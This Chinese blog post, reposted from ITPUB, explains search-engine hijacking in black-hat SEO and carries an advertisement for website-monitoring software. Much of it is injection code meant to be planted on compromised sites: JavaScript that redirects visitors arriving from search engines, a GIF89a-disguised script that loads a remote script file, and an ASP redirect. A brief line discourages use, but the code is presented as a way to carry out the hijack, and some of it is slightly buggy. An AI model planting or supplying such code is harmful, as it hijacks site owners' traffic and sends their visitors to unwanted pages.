首页 > IT基础架构 > 数据安全 > 搜索引擎域名劫持的定义、搜索引擎域名劫持
搜索引擎劫持简称搜索劫持,其实就是从搜索引擎来的流量自动跳转到指定的网页。可以通过未经用户授权,自动修改第三方搜索引擎结果的软件实现,通常这类程序会在第三方搜索引擎的结果中添加自己的广告或加入网站链接获取流量等。也可以通过如下搜索引擎劫持代码实现(属于黑帽SEO 需要掌握被劫持网站权限,建议不要使用)。
IIS7网站监控可以及时防控网站风险,快速准确监控网站是否遭到各种劫持攻击,网站在全国是否能正常打开(查看域名是否被墙),精准的DNS污染检测,具备网站打开速度检测功能,第一时间知道网站是否被黑、被入侵、被改标题、被挂黑链。精益求精的产品,缺陷为零数据提供!
它可以做到以下功能:
1、 检测网站是否被黑
2、检测网站是否被劫持
3、检测域名是否被墙
4、检测DNS是否被污染
5、网站真实的完全打开时间(独家)
6、拥有独立监控后台,24小时定时监控域名
官方地址: http://wzjk.iis7.net/?dx
官方图:

搜索劫持 源代码 :if(window 点 name!=” 窗口名 ”){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = ‘google.’;
var str7 = ‘baidu.’;
var str4 = ‘yahoo.’;
var str8 = ‘youdao.’;
var str9 = ‘sogou.’;
var str5 = ‘soso.’;
var str3 = ‘sdgb.’;
var str2 = ‘ifeng.’;
var str2 = ‘gougou.’;
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str2)>0 || str1.indexOf(str1)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)>0 || str1.indexOf(str5)>0 && “zh-cn”==navigator.systemLanguage)
{
self.location=”URL”;
window 点 name=” 窗口名 ”;
}
}
第一:正规站没流量和排名,不敢用 黑链 和 黑帽 ,做垃圾站通过黑链和黑帽技术把核心关键词短时间做到搜索引擎首页,通过跳转到正规站来给正规站带来流量。
第二:一个正规站的关键词排名在百度前面,这些正规网站权重比较高,排名也比较靠前,通过非法植入网站程序,让搜索引擎来的流量跳转到自己正规站上面,手动输入则不会跳转,然而蜘蛛也会抓取该非法网站,并且误以为属于这个正规网站,于是照常收录,流量来的则是别人的正规站的流量,导致非法网站排名不断提高。
GIF89a="";
var d=document.referrer;
if ((d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)){
document.writeln("<script src= 域名 .gif><\/script>");
}
else{
window.location.href="index.asp"
}
以上这段代码显示通过HTTP Referrer 来判断用户是从哪里来的。如果是用户手动输入的,则打开网站原来的 index.asp 页面;如果来自百度搜索,那就跳转到另一个文件。
var d=document.referrer;
if (d.indexOf("%CC%FD")>0 ||d.indexOf("%C6%F7")>0) {
self.location= 域名 ;
window.opener.location= 域名
};
这个文件里的代码在做判断,如果来自百度搜索结果,那就跳转到非法网站去,否则就不做操作。
但是JS 打开页面,载入时,实在太慢,而且 JS 文件占带宽。
考虑如果用ASP 怎么来判断。
用asp 编写。
<%
Dim from
from=Request.ServerVariables("HTTP_REFERER")
If from<>"" Then
Response.Redirect( 域名 /list/index.html)
Response.End()
End If
%>
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/69989477/viewspace-2737377/ ,如需转载,请注明出处,否则将追究法律责任。